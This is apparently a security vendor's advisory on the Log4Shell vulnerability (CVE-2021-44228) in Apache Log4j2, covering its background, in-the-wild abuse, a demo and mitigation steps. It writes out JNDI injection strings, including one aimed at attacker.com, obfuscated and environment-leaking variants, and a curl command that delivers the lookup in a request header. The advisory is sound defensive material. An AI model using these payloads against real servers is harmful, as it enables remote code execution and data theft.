CVE-2021-44228: Staying Secure – Apache Log4j Vulnerability

Executive Summary

  • A new critical remote code execution vulnerability in Apache Log4j2, a Java-based logging tool, is being tracked as CVE-2021-44228.
  • Major services and applications globally are impacted by the vulnerability due to the prevalence of Log4j2s use in many web apps.
  • Exploit proof-of-concept code is widely available and internet-wide scanning suggests active exploitation.
  • At the time of writing, exploit attempts lead to commodity cryptominer payloads. SentinelOne expects further opportunistic abuse by a wide variety of attackers, including ransomware and nation-state actors.
  • Due to the ease and rate of exploitation attempts, SentinelOne recommends upgrading impacted services to the latest version of Log4j2.
  • SentinelLabs has released tools and scripts, including static and dynamic scanners, to assist in finding and patching vulnerable log4j instances.

SentinelOne’s infrastructure, applications, products, and services aren’t vulnerable to the exploit. SentinelOne’s information technology, infrastructure, security, and cloud teams conducted a comprehensive assessment in accordance with our information security policies and procedures.

Resource Center | Log4j2 | Log4Shell
Stay Informed with Hunting Queries, Demos, and More

Background

On December 9th, 2021, the security community became aware of active exploitation attempts of a vulnerability in Apache Log4j 2. The vulnerability, also known as “Log4Shell”, is trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form ${jndi:ldap://attacker.com/file} (further variations are documented below).

It’s difficult to assess the extent of possible impact as Log4j2 is used across a variety of products and services, from Apache products like Struts, Solr, and Flink to security products like ElasticSearch, Logstash, and Kafka, and even Minecraft servers.

Defenders are encouraged to update any explicit uses of Log4j2 to the latest version, as well as scrutinize other services that may implicitly rely on it.

As described in the NVD vulnerability disclosure, JNDI features do not protect against requests pointing to attacker-controlled endpoints including LDAP(s), DNS, and RMI requests. The requests poll an attacker endpoint for a file that’s then executed in the context of the Log4j 2 service.

Examples:

${jndi:ldap://<malicious infrastructure>/<payload>}  
${jndi:dns://<malicious infrastructure>/<payload>} 
${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}

Further variants of the malicious request have been publicly reported and include slight obfuscation with nested functions like ${lower:<letter>} as follows:

${jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}

How is Log4j Being Exploited In the Wild?

Observed exploit attempts in the wild thus far have led to commodity cryptominer payloads or other known and commodity post-exploitation methods. SentinelOne expects further opportunistic abuse by a wide variety of attackers, including ransomware and nation-state actors.

At the time of writing, payloads include cryptominers like Golang-based Kinsing ELF payloads, but there’s nothing limiting the potential for abuse as attackers ramp up their infrastructure and tooling to take advantage of this exploitation opportunity.

Potential attack vectors that are covered by the Singularity XDR platform include various post-exploitation frameworks such as Cobalt Strike, Empyre, Metasploit, and usage of post-exploitation tools such as Mimikatz and Bloodhound as well as ransomware attacks and cryptominer activity.

SentinelOne vs Log4j2 Exploit – Securing Windows and Linux Environments

In the following Windows demonstration, we used a publicly available POC with a weaponized malicious PowerShell script as the post-exploit payload.

The PoC used in this demo is based on this GitHub repository by tangxiaofeng7. The code can be used to spawn a variety of code on the targeted endpoint. In this case, we utilized a malicious PowerShell script (launched via .bat) and the proof-of-concept code is utilized to stage the ‘malicious’ LDAP environment and respond to the appropriate client queries/traffic.

The exploit is delivered to the target host via CURL curl 192.168.xxx.xxx:8080 -H ‘X-Api-Version: ${jndi:ldap://192.168.xxx.xxx:1389/STRING}’  – With the LDAP destination nested in the CURL URL, the target host will reach out to the attack server, resulting in the attacker’s staged code being executed (in the case of this demo (explorer.exe c:\temp\run.bat)):

Mission-critical data and operations often are powered by Linux distributions. Securing Linux environments is imperative for enterprise security. Watch how Singularity XDR protects Linux server:

 

SentinelOne continues to actively monitor the situation and collaborate with industry partners to improve the collective defense of our customers and all internet users.

Mitigation Guidance

  • Upgrade log4j to the latest version, specifically 2.16.0 or newer to eliminate message lookups. Note: 2.15.x is no longer adequate for mitigation purposes.
  • According to Apache’s guidance, in releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
  • For SentinelOne Complete and EDR customers, find the deep visibility queries here.
  • Available with SentinelOne Singularity Control and Complete – How to search for a CVE across all applications and endpoints.
  • SentinelLabs research team released tools for automating scanning, visibility, and patching.

Additional Resources

Source: sentinelone.com

CVE-2021-44228: Staying Secure – Apache Log4j Vulnerability